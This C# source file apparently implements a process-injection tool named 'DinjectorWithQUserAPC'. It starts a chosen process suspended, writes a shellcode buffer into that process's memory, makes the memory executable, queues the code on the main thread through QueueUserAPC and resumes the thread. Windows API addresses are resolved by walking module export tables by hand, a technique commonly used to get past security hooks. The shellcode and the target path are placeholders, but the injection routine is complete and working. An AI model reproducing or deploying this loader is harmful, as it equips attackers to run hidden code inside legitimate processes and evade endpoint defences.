using System; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; namespace DinjectorWithQUserAPC { public class Program { static void Main(string[] args) { byte[] sc = { 0x31, 0x33, 0x33, 0x37 }; string processPath = @"path to some process"; STRUCTS.STARTUPINFO si = new STRUCTS.STARTUPINFO(); STRUCTS.PROCESS_INFORMATION pi = new STRUCTS.PROCESS_INFORMATION(); var shellcode = sc; IntPtr pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "CreateProcessA"); DELEGATES.CreateProcess CreateProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.CreateProcess)) as DELEGATES.CreateProcess; bool success = CreateProcess(processPath, null, IntPtr.Zero, IntPtr.Zero, false, STRUCTS.ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi); pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "VirtualAllocEx"); DELEGATES.VirtualAllocEx virtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualAllocEx)) as DELEGATES.VirtualAllocEx; IntPtr alloc = virtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40); pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "WriteProcessMemory"); DELEGATES.WriteProcessMemory writeProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.WriteProcessMemory)) as DELEGATES.WriteProcessMemory; writeProcessMemory(pi.hProcess, alloc, shellcode, (uint)shellcode.Length, out UIntPtr bytesWritten); pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "OpenThread"); DELEGATES.OpenThread openThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.OpenThread)) as DELEGATES.OpenThread; IntPtr tpointer = openThread(STRUCTS.ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId); uint oldProtect = 0; pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "VirtualProtectEx"); DELEGATES.VirtualProtectEx virtualProtectEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualProtectEx)) as DELEGATES.VirtualProtectEx; virtualProtectEx(pi.hProcess, alloc, shellcode.Length, 0x20, out oldProtect); pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "QueueUserAPC"); DELEGATES.QueueUserAPC queueUserAPC = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.QueueUserAPC)) as DELEGATES.QueueUserAPC; queueUserAPC(alloc, tpointer, IntPtr.Zero); pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "ResumeThread"); DELEGATES.ResumeThread resumeThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.ResumeThread)) as DELEGATES.ResumeThread; resumeThread(pi.hThread); } public Program() { Main(new string[] { }); } } public class DELEGATES { [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate Boolean CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, STRUCTS.ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STRUCTS.STARTUPINFO lpStartupInfo, out STRUCTS.PROCESS_INFORMATION lpProcessInformation); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate IntPtr OpenThread(STRUCTS.ThreadAccess dwDesiredAccess, bool bInheritHandle, int dwThreadId); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate Boolean VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate uint ResumeThread(IntPtr hThhread); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate UInt32 LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString); } public class STRUCTS { [Flags] public enum ProcessCreationFlags : uint { ZERO_FLAG = 0x00000000, CREATE_BREAKAWAY_FROM_JOB = 0x01000000, CREATE_DEFAULT_ERROR_MODE = 0x04000000, CREATE_NEW_CONSOLE = 0x00000010, CREATE_NEW_PROCESS_GROUP = 0x00000200, CREATE_NO_WINDOW = 0x08000000, CREATE_PROTECTED_PROCESS = 0x00040000, CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, CREATE_SEPARATE_WOW_VDM = 0x00001000, CREATE_SHARED_WOW_VDM = 0x00001000, CREATE_SUSPENDED = 0x00000004, CREATE_UNICODE_ENVIRONMENT = 0x00000400, DEBUG_ONLY_THIS_PROCESS = 0x00000002, DEBUG_PROCESS = 0x00000001, DETACHED_PROCESS = 0x00000008, EXTENDED_STARTUPINFO_PRESENT = 0x00080000, INHERIT_PARENT_AFFINITY = 0x00010000 } [Flags] public enum ThreadAccess : int { TERMINATE = (0x0001), SUSPEND_RESUME = (0x0002), GET_CONTEXT = (0x0008), SET_CONTEXT = (0x0010), SET_INFORMATION = (0x0020), QUERY_INFORMATION = (0x0040), SET_THREAD_TOKEN = (0x0080), IMPERSONATE = (0x0100), DIRECT_IMPERSONATION = (0x0200), THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT, THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION } public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct UNICODE_STRING { public UInt16 Length; public UInt16 MaximumLength; public IntPtr Buffer; } /// /// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55 /// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html /// public enum NTSTATUS : uint { // Success Success = 0x00000000, Wait0 = 0x00000000, Wait1 = 0x00000001, Wait2 = 0x00000002, Wait3 = 0x00000003, Wait63 = 0x0000003f, Abandoned = 0x00000080, AbandonedWait0 = 0x00000080, AbandonedWait1 = 0x00000081, AbandonedWait2 = 0x00000082, AbandonedWait3 = 0x00000083, AbandonedWait63 = 0x000000bf, UserApc = 0x000000c0, KernelApc = 0x00000100, Alerted = 0x00000101, Timeout = 0x00000102, Pending = 0x00000103, Reparse = 0x00000104, MoreEntries = 0x00000105, NotAllAssigned = 0x00000106, SomeNotMapped = 0x00000107, OpLockBreakInProgress = 0x00000108, VolumeMounted = 0x00000109, RxActCommitted = 0x0000010a, NotifyCleanup = 0x0000010b, NotifyEnumDir = 0x0000010c, NoQuotasForAccount = 0x0000010d, PrimaryTransportConnectFailed = 0x0000010e, PageFaultTransition = 0x00000110, PageFaultDemandZero = 0x00000111, PageFaultCopyOnWrite = 0x00000112, PageFaultGuardPage = 0x00000113, PageFaultPagingFile = 0x00000114, CrashDump = 0x00000116, ReparseObject = 0x00000118, NothingToTerminate = 0x00000122, ProcessNotInJob = 0x00000123, ProcessInJob = 0x00000124, ProcessCloned = 0x00000129, FileLockedWithOnlyReaders = 0x0000012a, FileLockedWithWriters = 0x0000012b, // Informational Informational = 0x40000000, ObjectNameExists = 0x40000000, ThreadWasSuspended = 0x40000001, WorkingSetLimitRange = 0x40000002, ImageNotAtBase = 0x40000003, RegistryRecovered = 0x40000009, // Warning Warning = 0x80000000, GuardPageViolation = 0x80000001, DatatypeMisalignment = 0x80000002, Breakpoint = 0x80000003, SingleStep = 0x80000004, BufferOverflow = 0x80000005, NoMoreFiles = 0x80000006, HandlesClosed = 0x8000000a, PartialCopy = 0x8000000d, DeviceBusy = 0x80000011, InvalidEaName = 0x80000013, EaListInconsistent = 0x80000014, NoMoreEntries = 0x8000001a, LongJump = 0x80000026, DllMightBeInsecure = 0x8000002b, // Error Error = 0xc0000000, Unsuccessful = 0xc0000001, NotImplemented = 0xc0000002, InvalidInfoClass = 0xc0000003, InfoLengthMismatch = 0xc0000004, AccessViolation = 0xc0000005, InPageError = 0xc0000006, PagefileQuota = 0xc0000007, InvalidHandle = 0xc0000008, BadInitialStack = 0xc0000009, BadInitialPc = 0xc000000a, InvalidCid = 0xc000000b, TimerNotCanceled = 0xc000000c, InvalidParameter = 0xc000000d, NoSuchDevice = 0xc000000e, NoSuchFile = 0xc000000f, InvalidDeviceRequest = 0xc0000010, EndOfFile = 0xc0000011, WrongVolume = 0xc0000012, NoMediaInDevice = 0xc0000013, NoMemory = 0xc0000017, ConflictingAddresses = 0xc0000018, NotMappedView = 0xc0000019, UnableToFreeVm = 0xc000001a, UnableToDeleteSection = 0xc000001b, IllegalInstruction = 0xc000001d, AlreadyCommitted = 0xc0000021, AccessDenied = 0xc0000022, BufferTooSmall = 0xc0000023, ObjectTypeMismatch = 0xc0000024, NonContinuableException = 0xc0000025, BadStack = 0xc0000028, NotLocked = 0xc000002a, NotCommitted = 0xc000002d, InvalidParameterMix = 0xc0000030, ObjectNameInvalid = 0xc0000033, ObjectNameNotFound = 0xc0000034, ObjectNameCollision = 0xc0000035, ObjectPathInvalid = 0xc0000039, ObjectPathNotFound = 0xc000003a, ObjectPathSyntaxBad = 0xc000003b, DataOverrun = 0xc000003c, DataLate = 0xc000003d, DataError = 0xc000003e, CrcError = 0xc000003f, SectionTooBig = 0xc0000040, PortConnectionRefused = 0xc0000041, InvalidPortHandle = 0xc0000042, SharingViolation = 0xc0000043, QuotaExceeded = 0xc0000044, InvalidPageProtection = 0xc0000045, MutantNotOwned = 0xc0000046, SemaphoreLimitExceeded = 0xc0000047, PortAlreadySet = 0xc0000048, SectionNotImage = 0xc0000049, SuspendCountExceeded = 0xc000004a, ThreadIsTerminating = 0xc000004b, BadWorkingSetLimit = 0xc000004c, IncompatibleFileMap = 0xc000004d, SectionProtection = 0xc000004e, EasNotSupported = 0xc000004f, EaTooLarge = 0xc0000050, NonExistentEaEntry = 0xc0000051, NoEasOnFile = 0xc0000052, EaCorruptError = 0xc0000053, FileLockConflict = 0xc0000054, LockNotGranted = 0xc0000055, DeletePending = 0xc0000056, CtlFileNotSupported = 0xc0000057, UnknownRevision = 0xc0000058, RevisionMismatch = 0xc0000059, InvalidOwner = 0xc000005a, InvalidPrimaryGroup = 0xc000005b, NoImpersonationToken = 0xc000005c, CantDisableMandatory = 0xc000005d, NoLogonServers = 0xc000005e, NoSuchLogonSession = 0xc000005f, NoSuchPrivilege = 0xc0000060, PrivilegeNotHeld = 0xc0000061, InvalidAccountName = 0xc0000062, UserExists = 0xc0000063, NoSuchUser = 0xc0000064, GroupExists = 0xc0000065, NoSuchGroup = 0xc0000066, MemberInGroup = 0xc0000067, MemberNotInGroup = 0xc0000068, LastAdmin = 0xc0000069, WrongPassword = 0xc000006a, IllFormedPassword = 0xc000006b, PasswordRestriction = 0xc000006c, LogonFailure = 0xc000006d, AccountRestriction = 0xc000006e, InvalidLogonHours = 0xc000006f, InvalidWorkstation = 0xc0000070, PasswordExpired = 0xc0000071, AccountDisabled = 0xc0000072, NoneMapped = 0xc0000073, TooManyLuidsRequested = 0xc0000074, LuidsExhausted = 0xc0000075, InvalidSubAuthority = 0xc0000076, InvalidAcl = 0xc0000077, InvalidSid = 0xc0000078, InvalidSecurityDescr = 0xc0000079, ProcedureNotFound = 0xc000007a, InvalidImageFormat = 0xc000007b, NoToken = 0xc000007c, BadInheritanceAcl = 0xc000007d, RangeNotLocked = 0xc000007e, DiskFull = 0xc000007f, ServerDisabled = 0xc0000080, ServerNotDisabled = 0xc0000081, TooManyGuidsRequested = 0xc0000082, GuidsExhausted = 0xc0000083, InvalidIdAuthority = 0xc0000084, AgentsExhausted = 0xc0000085, InvalidVolumeLabel = 0xc0000086, SectionNotExtended = 0xc0000087, NotMappedData = 0xc0000088, ResourceDataNotFound = 0xc0000089, ResourceTypeNotFound = 0xc000008a, ResourceNameNotFound = 0xc000008b, ArrayBoundsExceeded = 0xc000008c, FloatDenormalOperand = 0xc000008d, FloatDivideByZero = 0xc000008e, FloatInexactResult = 0xc000008f, FloatInvalidOperation = 0xc0000090, FloatOverflow = 0xc0000091, FloatStackCheck = 0xc0000092, FloatUnderflow = 0xc0000093, IntegerDivideByZero = 0xc0000094, IntegerOverflow = 0xc0000095, PrivilegedInstruction = 0xc0000096, TooManyPagingFiles = 0xc0000097, FileInvalid = 0xc0000098, InsufficientResources = 0xc000009a, InstanceNotAvailable = 0xc00000ab, PipeNotAvailable = 0xc00000ac, InvalidPipeState = 0xc00000ad, PipeBusy = 0xc00000ae, IllegalFunction = 0xc00000af, PipeDisconnected = 0xc00000b0, PipeClosing = 0xc00000b1, PipeConnected = 0xc00000b2, PipeListening = 0xc00000b3, InvalidReadMode = 0xc00000b4, IoTimeout = 0xc00000b5, FileForcedClosed = 0xc00000b6, ProfilingNotStarted = 0xc00000b7, ProfilingNotStopped = 0xc00000b8, NotSameDevice = 0xc00000d4, FileRenamed = 0xc00000d5, CantWait = 0xc00000d8, PipeEmpty = 0xc00000d9, CantTerminateSelf = 0xc00000db, InternalError = 0xc00000e5, InvalidParameter1 = 0xc00000ef, InvalidParameter2 = 0xc00000f0, InvalidParameter3 = 0xc00000f1, InvalidParameter4 = 0xc00000f2, InvalidParameter5 = 0xc00000f3, InvalidParameter6 = 0xc00000f4, InvalidParameter7 = 0xc00000f5, InvalidParameter8 = 0xc00000f6, InvalidParameter9 = 0xc00000f7, InvalidParameter10 = 0xc00000f8, InvalidParameter11 = 0xc00000f9, InvalidParameter12 = 0xc00000fa, ProcessIsTerminating = 0xc000010a, MappedFileSizeZero = 0xc000011e, TooManyOpenedFiles = 0xc000011f, Cancelled = 0xc0000120, CannotDelete = 0xc0000121, InvalidComputerName = 0xc0000122, FileDeleted = 0xc0000123, SpecialAccount = 0xc0000124, SpecialGroup = 0xc0000125, SpecialUser = 0xc0000126, MembersPrimaryGroup = 0xc0000127, FileClosed = 0xc0000128, TooManyThreads = 0xc0000129, ThreadNotInProcess = 0xc000012a, TokenAlreadyInUse = 0xc000012b, PagefileQuotaExceeded = 0xc000012c, CommitmentLimit = 0xc000012d, InvalidImageLeFormat = 0xc000012e, InvalidImageNotMz = 0xc000012f, InvalidImageProtect = 0xc0000130, InvalidImageWin16 = 0xc0000131, LogonServer = 0xc0000132, DifferenceAtDc = 0xc0000133, SynchronizationRequired = 0xc0000134, DllNotFound = 0xc0000135, IoPrivilegeFailed = 0xc0000137, OrdinalNotFound = 0xc0000138, EntryPointNotFound = 0xc0000139, ControlCExit = 0xc000013a, InvalidAddress = 0xc0000141, PortNotSet = 0xc0000353, DebuggerInactive = 0xc0000354, CallbackBypass = 0xc0000503, PortClosed = 0xc0000700, MessageLost = 0xc0000701, InvalidMessage = 0xc0000702, RequestCanceled = 0xc0000703, RecursiveDispatch = 0xc0000704, LpcReceiveBufferExpected = 0xc0000705, LpcInvalidConnectionUsage = 0xc0000706, LpcRequestsNotAllowed = 0xc0000707, ResourceInUse = 0xc0000708, ProcessIsProtected = 0xc0000712, VolumeDirty = 0xc0000806, FileCheckedOut = 0xc0000901, CheckOutRequired = 0xc0000902, BadFileType = 0xc0000903, FileTooLarge = 0xc0000904, FormsAuthRequired = 0xc0000905, VirusInfected = 0xc0000906, VirusDeleted = 0xc0000907, TransactionalConflict = 0xc0190001, InvalidTransaction = 0xc0190002, TransactionNotActive = 0xc0190003, TmInitializationFailed = 0xc0190004, RmNotActive = 0xc0190005, RmMetadataCorrupt = 0xc0190006, TransactionNotJoined = 0xc0190007, DirectoryNotRm = 0xc0190008, CouldNotResizeLog = 0xc0190009, TransactionsUnsupportedRemote = 0xc019000a, LogResizeInvalidSize = 0xc019000b, RemoteFileVersionMismatch = 0xc019000c, CrmProtocolAlreadyExists = 0xc019000f, TransactionPropagationFailed = 0xc0190010, CrmProtocolNotFound = 0xc0190011, TransactionSuperiorExists = 0xc0190012, TransactionRequestNotValid = 0xc0190013, TransactionNotRequested = 0xc0190014, TransactionAlreadyAborted = 0xc0190015, TransactionAlreadyCommitted = 0xc0190016, TransactionInvalidMarshallBuffer = 0xc0190017, CurrentTransactionNotValid = 0xc0190018, LogGrowthFailed = 0xc0190019, ObjectNoLongerExists = 0xc0190021, StreamMiniversionNotFound = 0xc0190022, StreamMiniversionNotValid = 0xc0190023, MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, CantOpenMiniversionWithModifyIntent = 0xc0190025, CantCreateMoreStreamMiniversions = 0xc0190026, HandleNoLongerValid = 0xc0190028, NoTxfMetadata = 0xc0190029, LogCorruptionDetected = 0xc0190030, CantRecoverWithHandleOpen = 0xc0190031, RmDisconnected = 0xc0190032, EnlistmentNotSuperior = 0xc0190033, RecoveryNotNeeded = 0xc0190034, RmAlreadyStarted = 0xc0190035, FileIdentityNotPersistent = 0xc0190036, CantBreakTransactionalDependency = 0xc0190037, CantCrossRmBoundary = 0xc0190038, TxfDirNotEmpty = 0xc0190039, IndoubtTransactionsExist = 0xc019003a, TmVolatile = 0xc019003b, RollbackTimerExpired = 0xc019003c, TxfAttributeCorrupt = 0xc019003d, EfsNotAllowedInTransaction = 0xc019003e, TransactionalOpenNotAllowed = 0xc019003f, TransactedMappingUnsupportedRemote = 0xc0190040, TxfMetadataAlreadyPresent = 0xc0190041, TransactionScopeCallbacksNotSet = 0xc0190042, TransactionRequiredPromotion = 0xc0190043, CannotExecuteFileInTransaction = 0xc0190044, TransactionsNotFrozen = 0xc0190045, MaximumNtStatus = 0xffffffff } } public class TinySharpSploit { public static STRUCTS.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle) { // Craft an array for the arguments object[] funcargs = { PathToFile, dwFlags, ModuleFileName, ModuleHandle }; STRUCTS.NTSTATUS retValue = (STRUCTS.NTSTATUS)DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs); // Update the modified variables ModuleHandle = (IntPtr)funcargs[3]; return retValue; } public static void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString) { // Craft an array for the arguments object[] funcargs = { DestinationString, SourceString }; DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs); // Update the modified variables DestinationString = (STRUCTS.UNICODE_STRING)funcargs[0]; } /// /// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments. /// /// The Wover (@TheRealWover) /// Name of the DLL. /// Name of the function. /// Prototype for the function, represented as a Delegate object. /// Parameters to pass to the function. Can be modified if function uses call by reference. /// Object returned by the function. Must be unmarshalled by the caller. public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters) { IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName); return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters); } /// /// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory. /// /// The Wover (@TheRealWover) /// A pointer to the unmanaged function. /// Prototype for the function, represented as a Delegate object. /// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference. /// Object returned by the function. Must be unmarshalled by the caller. public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters) { Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType); return funcDelegate.DynamicInvoke(Parameters); } /// /// Resolves LdrLoadDll and uses that function to load a DLL from disk. /// /// Ruben Boonen (@FuzzySec) /// The path to the DLL on disk. Uses the LoadLibrary convention. /// IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully. public static IntPtr LoadModuleFromDisk(string DLLPath) { STRUCTS.UNICODE_STRING uModuleName = new STRUCTS.UNICODE_STRING(); RtlInitUnicodeString(ref uModuleName, DLLPath); IntPtr hModule = IntPtr.Zero; STRUCTS.NTSTATUS CallResult = LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule); if (CallResult != STRUCTS.NTSTATUS.Success || hModule == IntPtr.Zero) { return IntPtr.Zero; } return hModule; } /// /// Helper for getting the base address of a module loaded by the current process. This base /// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for /// manual export parsing. This function uses the .NET System.Diagnostics.Process class. /// /// Ruben Boonen (@FuzzySec) /// The name of the DLL (e.g. "ntdll.dll"). /// IntPtr base address of the loaded module or IntPtr.Zero if the module is not found. public static IntPtr GetLoadedModuleAddress(string DLLName) { ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules; foreach (ProcessModule Mod in ProcModules) { if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower())) { return Mod.BaseAddress; } } return IntPtr.Zero; } /// /// Helper for getting the pointer to a function from a DLL loaded by the process. /// /// Ruben Boonen (@FuzzySec) /// The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll"). /// Name of the exported procedure. /// Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list. /// IntPtr for the desired function. public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false) { IntPtr hModule = GetLoadedModuleAddress(DLLName); if (hModule == IntPtr.Zero && CanLoadFromDisk) { hModule = LoadModuleFromDisk(DLLName); if (hModule == IntPtr.Zero) { throw new FileNotFoundException(DLLName + ", unable to find the specified file."); } } else if (hModule == IntPtr.Zero) { throw new DllNotFoundException(DLLName + ", Dll was not found."); } return GetExportAddress(hModule, FunctionName); } /// /// Given a module base address, resolve the address of a function by manually walking the module export table. /// /// Ruben Boonen (@FuzzySec) /// A pointer to the base address where the module is loaded in the current process. /// The name of the export to search for (e.g. "NtAlertResumeThread"). /// IntPtr for the desired function. public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName) { IntPtr FunctionPtr = IntPtr.Zero; try { // Traverse the PE header in memory Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14)); Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); Int64 pExport = 0; if (Magic == 0x010b) { pExport = OptHeader + 0x60; } else { pExport = OptHeader + 0x70; } // Read -> IMAGE_EXPORT_DIRECTORY Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); // Loop the array of export name RVA's for (int i = 0; i < NumberOfNames; i++) { string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase)) { Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); break; } } } catch { // Catch parser failure throw new InvalidOperationException("Failed to parse module exports."); } if (FunctionPtr == IntPtr.Zero) { // Export not found throw new MissingMethodException(ExportName + ", export not found."); } return FunctionPtr; } } }